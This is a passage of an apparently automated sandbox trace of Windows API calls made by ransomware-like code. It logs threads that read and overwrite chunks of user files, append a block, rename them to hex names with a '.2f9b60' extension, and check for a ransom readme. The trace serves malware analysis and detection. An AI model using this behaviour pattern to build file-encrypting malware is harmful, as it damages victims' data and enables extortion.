out: _Dest="64") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5644, _Format="%c%c" | out: _Dest="97") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5646, _Format="%c%c" | out: _Dest="2a") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5648, _Format="%c%c" | out: _Dest="5b") returned 2 [0133.759] sprintf (in: _Dest=0x1ced564a, _Format="%c%c" | out: _Dest="6c") returned 2 [0133.759] sprintf (in: _Dest=0x1ced564c, _Format="%c%c" | out: _Dest="1f") returned 2 [0133.759] sprintf (in: _Dest=0x1ced564e, _Format="%c%c" | out: _Dest="e0") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5650, _Format="%c%c" | out: _Dest="14") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5652, _Format="%c%c" | out: _Dest="05") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5654, _Format="%c%c" | out: _Dest="c3") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5656, _Format="%c%c" | out: _Dest="7e") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5658, _Format="%c%c" | out: _Dest="07") returned 2 [0133.759] sprintf (in: _Dest=0x1ced565a, _Format="%c%c" | out: _Dest="6a") returned 2 [0133.759] sprintf (in: _Dest=0x1ced565c, _Format="%c%c" | out: _Dest="aa") returned 2 [0133.759] sprintf (in: _Dest=0x1ced565e, _Format="%c%c" | out: _Dest="73") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5660, _Format="%c%c" | out: _Dest="12") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5662, _Format="%c%c" | out: _Dest="af") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5664, _Format="%c%c" | out: _Dest="0f") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5666, _Format="%c%c" | out: _Dest="25") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5668, _Format="%c%c" | out: _Dest="32") returned 2 [0133.759] sprintf (in: _Dest=0x1ced566a, _Format="%c%c" | out: _Dest="14") returned 2 [0133.759] sprintf (in: _Dest=0x1ced566c, _Format="%c%c" | out: _Dest="32") returned 2 [0133.759] sprintf (in: _Dest=0x1ced566e, _Format="%c%c" | out: _Dest="0f") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5670, _Format="%c%c" | out: _Dest="e2") returned 2 [0133.759] sprintf (in: _Dest=0x1ced5672, _Format="%c%c" | out: _Dest="8d") returned 2 [0133.759] RtlInitAnsiString (in: DestinationString=0x2d68f928, SourceString="1ef021cdeed9d8e6b43810e2d92132b24664972a5b6c1fe01405c37e076aaa7312af0f253214320fe28d" | out: DestinationString="1ef021cdeed9d8e6b43810e2d92132b24664972a5b6c1fe01405c37e076aaa7312af0f253214320fe28d") [0133.759] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d68f8f8, SourceString="1ef021cdeed9d8e6b43810e2d92132b24664972a5b6c1fe01405c37e076aaa7312af0f253214320fe28d", AllocateDestinationString=1 | out: DestinationString="1ef021cdeed9d8e6b43810e2d92132b24664972a5b6c1fe01405c37e076aaa7312af0f253214320fe28d") returned 0x0 [0133.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107780 [0133.760] wcscat (in: _Dest=0x20508810, _Source="1ef021cdeed9d8e6b4381" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\1ef021cdeed9d8e6b4381") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\1ef021cdeed9d8e6b4381" [0133.760] wcscat (in: _Dest=0x20508810, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\1ef021cdeed9d8e6b4381.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\1ef021cdeed9d8e6b4381.2f9b60" [0133.760] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\1ef021cdeed9d8e6b4381.2f9b60", NtPathName=0x2d68f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\1ef021cdeed9d8e6b4381.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106b80 [0133.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106b80) returned 1 [0133.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293300) returned 1 [0133.761] NtQueryInformationFile (in: FileHandle=0x1b7c, IoStatusBlock=0x2d68f938, FileInformation=0x2d68f948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d68f938, FileInformation=0x2d68f948) returned 0x0 [0133.762] NtSetInformationFile (FileHandle=0x1b7c, IoStatusBlock=0x2d68f938, FileInformation=0x2d68f948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508810) returned 1 [0133.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0133.763] FlushFileBuffers (hFile=0x1b7c) returned 1 [0138.531] CloseHandle (hObject=0x1b7c) returned 1 [0138.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4c460 [0138.613] wcscpy (in: _Dest=0x1cf4c460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0138.613] wcscat (in: _Dest=0x1cf4c460, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" [0138.613] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\2f9b60-readme.txt")) returned 0x20 [0139.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c460) returned 1 [0139.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aea40) returned 1 Thread: id = 1901 os_tid = 0x1074 [0133.775] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\eiSkWEC qdkb.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\eiskwec qdkb.m4a")) returned 0x20 [0133.775] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\eiSkWEC qdkb.m4a", dwFileAttributes=0x20) returned 1 [0133.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\eiSkWEC qdkb.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\eiskwec qdkb.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b88 [0133.776] GetFileSizeEx (in: hFile=0x1b88, lpFileSize=0x2d71fdc0 | out: lpFileSize=0x2d71fdc0*=98284) returned 1 [0133.776] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x17fe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.776] ReadFile (in: hFile=0x1b88, lpBuffer=0x2d71fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d71fd88, lpOverlapped=0x0 | out: lpBuffer=0x2d71fd40*, lpNumberOfBytesRead=0x2d71fd88*=0x4, lpOverlapped=0x0) returned 1 [0133.777] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0133.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0133.777] NtQuerySystemTime (in: CurrentTime=0x2d71fc80 | out: CurrentTime=0x2d71fc80*=132462177390190000) returned 0x0 [0133.777] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x16f9cdb6 [0133.777] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x5ec2d685 [0133.777] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x3dafaac7 [0133.777] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x6e1198e3 [0133.777] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x63d4a910 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x3cfe0b91 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x4855a185 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x72aca18c [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0xd019f6d [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x1d87a523 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x73fbe334 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x69faa45f [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x152959c5 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x3c5a1eeb [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x7affd31f [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x1d75c4b8 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x372f4933 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x75714a3a [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x5d662fc9 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x142c2125 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x15e2ca18 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x597d195b [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x4f2a076b [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x626f88f4 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0xf725ecf [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x7680ca1e [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x4fb3e4e7 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x7d9f703 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x1e5de0e3 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x6db82acf [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0xe5b9a83 [0133.778] RtlRandomEx (in: Seed=0x2d71fc70 | out: Seed=0x2d71fc70) returned 0x1b34b31b [0133.786] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.786] ReadFile (in: hFile=0x1b88, lpBuffer=0x41cae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d71fce0, lpOverlapped=0x0 | out: lpBuffer=0x41cae130*, lpNumberOfBytesRead=0x2d71fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.786] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0133.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb1d40 [0133.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0133.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267410) returned 1 [0133.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.787] WriteFile (in: hFile=0x1b88, lpBuffer=0x41cb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d71fce0, lpOverlapped=0x0 | out: lpBuffer=0x41cb1d40*, lpNumberOfBytesWritten=0x2d71fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb1d40) returned 1 [0133.789] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.789] ReadFile (in: hFile=0x1b88, lpBuffer=0x41cae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d71fce0, lpOverlapped=0x0 | out: lpBuffer=0x41cae130*, lpNumberOfBytesRead=0x2d71fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.790] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0133.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267410) returned 1 [0133.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb1d40 [0133.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0133.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0133.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0133.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.791] WriteFile (in: hFile=0x1b88, lpBuffer=0x41cb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d71fce0, lpOverlapped=0x0 | out: lpBuffer=0x41cb1d40*, lpNumberOfBytesWritten=0x2d71fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb1d40) returned 1 [0133.792] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x143ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.792] ReadFile (in: hFile=0x1b88, lpBuffer=0x41cae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d71fce0, lpOverlapped=0x0 | out: lpBuffer=0x41cae130*, lpNumberOfBytesRead=0x2d71fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.792] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x143ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0133.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0133.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb1d40 [0133.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0133.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0133.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.794] WriteFile (in: hFile=0x1b88, lpBuffer=0x41cb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d71fce0, lpOverlapped=0x0 | out: lpBuffer=0x41cb1d40*, lpNumberOfBytesWritten=0x2d71fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb1d40) returned 1 [0133.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1cd0 [0133.815] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.815] WriteFile (in: hFile=0x1b88, lpBuffer=0x133b80*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2d71fd90, lpOverlapped=0x0 | out: lpBuffer=0x133b80*, lpNumberOfBytesWritten=0x2d71fd90*=0x152, lpOverlapped=0x0) returned 1 [0133.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0133.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0133.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0133.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0133.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0133.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0133.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97d00 [0133.820] sprintf (in: _Dest=0x1cd97d00, _Format="%c%c" | out: _Dest="97") returned 2 [0133.820] sprintf (in: _Dest=0x1cd97d02, _Format="%c%c" | out: _Dest="44") returned 2 [0133.820] sprintf (in: _Dest=0x1cd97d04, _Format="%c%c" | out: _Dest="cd") returned 2 [0133.820] sprintf (in: _Dest=0x1cd97d06, _Format="%c%c" | out: _Dest="c2") returned 2 [0133.820] sprintf (in: _Dest=0x1cd97d08, _Format="%c%c" | out: _Dest="d6") returned 2 [0133.820] sprintf (in: _Dest=0x1cd97d0a, _Format="%c%c" | out: _Dest="6d") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d0c, _Format="%c%c" | out: _Dest="10") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d0e, _Format="%c%c" | out: _Dest="5a") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d10, _Format="%c%c" | out: _Dest="cd") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d12, _Format="%c%c" | out: _Dest="32") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d14, _Format="%c%c" | out: _Dest="7a") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d16, _Format="%c%c" | out: _Dest="6b") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d18, _Format="%c%c" | out: _Dest="56") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d1a, _Format="%c%c" | out: _Dest="9c") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d1c, _Format="%c%c" | out: _Dest="cc") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d1e, _Format="%c%c" | out: _Dest="ef") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d20, _Format="%c%c" | out: _Dest="04") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d22, _Format="%c%c" | out: _Dest="13") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d24, _Format="%c%c" | out: _Dest="ea") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d26, _Format="%c%c" | out: _Dest="c0") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d28, _Format="%c%c" | out: _Dest="d6") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d2a, _Format="%c%c" | out: _Dest="27") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d2c, _Format="%c%c" | out: _Dest="0d") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d2e, _Format="%c%c" | out: _Dest="5b") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d30, _Format="%c%c" | out: _Dest="70") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d32, _Format="%c%c" | out: _Dest="c8") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d34, _Format="%c%c" | out: _Dest="00") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d36, _Format="%c%c" | out: _Dest="fc") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d38, _Format="%c%c" | out: _Dest="0c") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d3a, _Format="%c%c" | out: _Dest="35") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d3c, _Format="%c%c" | out: _Dest="b2") returned 2 [0133.821] sprintf (in: _Dest=0x1cd97d3e, _Format="%c%c" | out: _Dest="45") returned 2 [0133.821] RtlInitAnsiString (in: DestinationString=0x2d71fe08, SourceString="9744cdc2d66d105acd327a6b569cccef0413eac0d6270d5b70c800fc0c35b245" | out: DestinationString="9744cdc2d66d105acd327a6b569cccef0413eac0d6270d5b70c800fc0c35b245") [0133.821] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d71fdd8, SourceString="9744cdc2d66d105acd327a6b569cccef0413eac0d6270d5b70c800fc0c35b245", AllocateDestinationString=1 | out: DestinationString="9744cdc2d66d105acd327a6b569cccef0413eac0d6270d5b70c800fc0c35b245") returned 0x0 [0133.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5730 [0133.822] wcscat (in: _Dest=0x202a5b20, _Source="9744cdc2d66d105a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\9744cdc2d66d105a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\9744cdc2d66d105a" [0133.822] wcscat (in: _Dest=0x202a5b20, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\9744cdc2d66d105a.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\9744cdc2d66d105a.2f9b60" [0133.822] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\9744cdc2d66d105a.2f9b60", NtPathName=0x2d71fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\9744cdc2d66d105a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ac0b0 [0133.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac0b0) returned 1 [0133.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecb5c0) returned 1 [0133.823] NtQueryInformationFile (in: FileHandle=0x1b88, IoStatusBlock=0x2d71fe18, FileInformation=0x2d71fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d71fe18, FileInformation=0x2d71fe28) returned 0x0 [0133.823] NtSetInformationFile (FileHandle=0x1b88, IoStatusBlock=0x2d71fe18, FileInformation=0x2d71fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5b20) returned 1 [0133.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5730) returned 1 [0133.825] FlushFileBuffers (hFile=0x1b88) returned 1 [0138.532] CloseHandle (hObject=0x1b88) returned 1 [0138.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4c4f0 [0138.619] wcscpy (in: _Dest=0x1cf4c4f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0138.619] wcscat (in: _Dest=0x1cf4c4f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" [0138.619] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\2f9b60-readme.txt")) returned 0x20 [0139.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c4f0) returned 1 [0139.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 Thread: id = 1902 os_tid = 0x1078 [0133.799] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\MzczhE8q8xYIFf.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\mzczhe8q8xyiff.swf")) returned 0x20 [0133.799] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\MzczhE8q8xYIFf.swf", dwFileAttributes=0x20) returned 1 [0133.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\MzczhE8q8xYIFf.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\mzczhe8q8xyiff.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b90 [0133.800] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x1d1af6e0 | out: lpFileSize=0x1d1af6e0*=68290) returned 1 [0133.800] SetFilePointerEx (in: 